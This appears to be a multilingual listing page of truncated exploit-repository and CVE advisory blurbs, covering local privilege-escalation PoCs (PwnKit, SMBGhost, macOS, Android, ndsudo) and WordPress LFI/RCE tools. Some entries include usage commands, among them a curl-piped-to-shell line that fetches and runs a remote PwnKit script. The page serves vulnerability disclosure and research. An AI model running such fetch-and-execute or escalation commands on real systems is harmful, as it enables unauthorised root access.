CVE-2026-55567

BleachBit cleans files to free disk space and to maintain privacy. Prior to 6.0.1, privileged Windows cleaning does not lock and validate a target's parent directory before deletion. A local unprivileged user can replace that directory with a Windows junction and use a native symlink to redirect...

log4j2_vul_local_scanner

Log4j2 脆弱性ローカルスキャナー CVE-2021-45046 Log4j 脆弱性のローカル検出スクリプト。ホスト上の全てのJavaプロセスをスキャンし、脆弱性のあるlog4j-core JARが導入されているか、リモートコード実行攻撃（CVE-2021-45046）の可能性があるかを確認します。スキャン結果を指定されたサーバーにアップロードします。 ホスト上の全てのJavaプロセスをスキャンし、log4j2のリモートコード実行（CVE-2021-45046）の影響を受けるかどうかを確認し、レポートをAPIサーバーにアップロードします。 python2.7 / 2.6 / 3.x...

CVE-2026-21018

SveService バッファオーバーフロー Samsung SMR 2026年5月 SVE-2026-0478CVE-2026-21018 影響を受けるバージョン: Android 14、15、16 開示状況: 非公開 SMR 2026年5月リリース1より前のSveServiceにおける領域外書き込みにより、ローカルの特権攻撃者が任意のコードを実行できる可能性があります。 このパッチは適切な入力検証を追加します。 警告: これは教育目的専用の Proof-Of-Concept PoC です。学習以外の目的で行ういかなる行為についても私は責任を負いません。ご注意ください。 これは...

CVE-2022-37704

推奨される説明 Amanda 3.5.1 には、通常ユーザー backup から root への権限昇格を可能にする欠陥があります。/lib/amanda/rundump にある SUID バイナリは、攻撃者が制御する引数で /usr/sbin/dump を root として実行します。これにより、権限昇格、サービス拒否、情報漏えいが発生する可能性があります。 追加情報 Amanda はよく知られたソフトウェアであり、そのパッケージは既知のすべてのLinuxディストリビューションだけでなく、Windowsにも存在します。...

CVE-2025-6019-exploit

CVE-2025-6019: UDisks2 ファイルシステムリサイズを介した権限昇格エクスプロイト 脆弱性の詳細 CVE ID : CVE-2025-6019 影響 : ローカル権限昇格 LPE 影響を受けるシステム : 脆弱な udisks2 バージョンが動作するLinuxシステム メカニズム : ファイルシステムリサイズ中のレースコンディションにより、誰でも書き込み可能な一時ディレクトリ内のSUIDバイナリへのアクセスが可能になる 主要コンポーネント : udisks2 サービス DBus インターフェース...

cve-2020-0796

CVE-2020-0796 LPE CVE-2020-0796 SMBGhost LPE（ローカル権限昇格） 使用方法 必要に応じてRustをインストールしてください: https://www.rust-lang.org/learn/get-started コードをコンパイル: cargo build --release target/release/ から .exe をターゲットにコピーして実行します。 参考文献...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI から RCE Backup Migration（WordPress プラグイン）における未認証のリモートコード実行。 実行 root@kitploit: $ python exploit.py 以下の PHP スクリプトが実行されます。 root@kitploit: out.txt; ? 参考 Backup Migration プラグインで発見された重大な未認証リモートコード実行...

CVE-2023-42931

CVE-2023-42931 このエクスプロイトは、macOS 14.0～14.1.2、13.0～13.6.2、12.0～12.7.1 で動作する LPE を標的としています。 使用方法 root@kitploit: chmod +x PoC.sh ./PoC.sh クレジット このエクスプロイトは、元の記事の研究に基づいています: Apple macOS ファイルシステムを経由してルートへの権限昇格を行う。 ライセンス このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。...

openssh: OpenSSH: Tunnel forwarding restriction bypass

A flaw was found in OpenSSH's sshd component. The restrict keyword, designed to limit tunnel forwarding within the authorizedkeys file, was not correctly enforced for tunnel forwarding. This issue could allow a local attacker to bypass intended security restrictions, potentially leading to...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 확인된, Android 12 및 13에 영향을 미치는 높은 심각도의 취약점입니다. 이 취약점으로 인해 공격자는 "run-as any app" 공격을 수행하여 사용자 상호작용 없이 로컬 권한 상승을 일으킬 수 있습니다. 문제는 createSessionInternal 함수 내에서 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 프로세스를 조작하여 이 취약점을 악...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit CVE-2021-4034 の自己完結型エクスプロイト - Pkexec のローカル権限昇格 使い方 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでそのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 root@kitploit: curl -fsSL...

CVE-2025-2294

Kubio Page Builder LFI 漏洞利用工具 CVE-2025-2294 Kubio Page Builder WordPress 插件（版本 ≤ 2.5.1）的本地文件包含（LFI）漏洞利用工具。 📌 说明 该工具利用了 Kubio Page Builder 插件中的一个未授权 LFI 漏洞（CVE-2025-2294），允许攻击者读取易受攻击的 WordPress 站点上的敏感文件。 🚀 特性 单目标模式 -u 从文件批量扫描 -l 版本检测 将结果输出到文件 -o 自动检测易受攻击的版本 支持自定义文件路径 📦 安装 root@kitploit: git clone...

CVE-2021-1732

CVE-2021-1732 CVE-­2021­-1732 Microsoft Windows 10 ローカル権限昇格脆弱性の研究及びPoc/Exploit開発 影響を受けるシステムとアプリケーションバージョン Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64­based Systems Windows 10 Version 20H2 for 32­bit Systems Windows 10 Version 20H2 for x64­based Systems...

CVE-2018-19788

CVE-2018-19788 CVE-2018-19788에 대한 매우 간단한 익스플로잇 사용하려면 Policy Kit에서 UID가 INTMAX보다 큰 사용자를 생성하거나, 이미 해당 UID를 가진 낮은 권한의 사용자가 있어야 합니다. 사용자 생성 시 UID는 다음과 같이 지정할 수 있으며, 스크립트 실행 전에 사용됩니다: root@kitploit: $ useradd -u 4000000001 PrivEsc $ passwd PrivEsc $ su PrivEsc $ chmod +x /tmp/CVE-2018-19788PrivEsc.sh ...

assertj: AssertJ: Information disclosure and denial of service via XML External Entity (XXE)

A flaw was found in AssertJ. An XML External Entity XXE vulnerability exists in the XmlStringPrettyFormatter component, which is used by the isXmlEqualToCharSequence assertion. If an application processes untrusted XML input using these methods, a remote attacker could exploit this flaw to read...

CVE-2023-39063

CVE-2023-39063 このリポジトリには、RaidenFTPD v2.4.4005 ソフトウェアで見つかった脆弱性 CVE-2023-39063 のエクスプロイトが含まれています。このエクスプロイトは Python 3 で動作するように作成されています。 エクスプロイトの詳細 RaidenFTPD v.2.4.4005 の SEH ベースのバッファオーバーフロー脆弱性を悪用する Python 3 コードです。この脆弱性により、ローカルの攻撃者は、ステップバイステップのセットアップウィザードの Server name フィールドを介して任意のコードを実行できます。...

CVE-2020-0796

CVE-2020-0796 Windows SMBv3 LPE エクスプロイト 著者 Daniel García Gutiérrez @danigargu Manuel Blanco Parajón @dialluvioso 参考文献 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796 https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html...

CVE-2021-4034

CVE-2021-4034 Polkit の PoC Polkit とは何か？ Policy Toolkit（または Polkit）は、2009 年のリリース以来、root 権限を持たない攻撃者でも、Polkit パッケージを備えた任意の Linux システム上で簡単に管理アクセスを取得できるようにしています。残念ながら（あるいはそうでないかもしれませんが）、これはほとんどの Linux ディストリビューションにデフォルトでインストールされています。そのため、この脆弱性は広範囲に及ぶものとなっています。...

CVE-2024-32019-POC

⚠️ CVE-2024-32019 - PoC 📌 影響を受けるバージョン = v1.45.0, = v1.44.0-60, v1.45.0-169 🛠️ 概念実証 CVE-2024-32019 — ndsudo の信頼されていない検索パス を介したローカル権限昇格 🔧 エクスプロイトのコンパイル root@kitploit: x8664-linux-gnu-gcc -o nvme exploit.c -static 📤 ターゲットマシンへのデプロイ 1. コンパイルしたバイナリ を脆弱なマシンに転送します。 2. 実行可能にします: root@kitploit: chmod +x nvme...

CVE-2026-94401

MISP has a file-handling vulnerability that could let certain authenticated users make the server read files or access internal network services. When importing an XML file, MISP did not properly verify that the uploaded content was actually XML. Because of this, a user with permission to modify...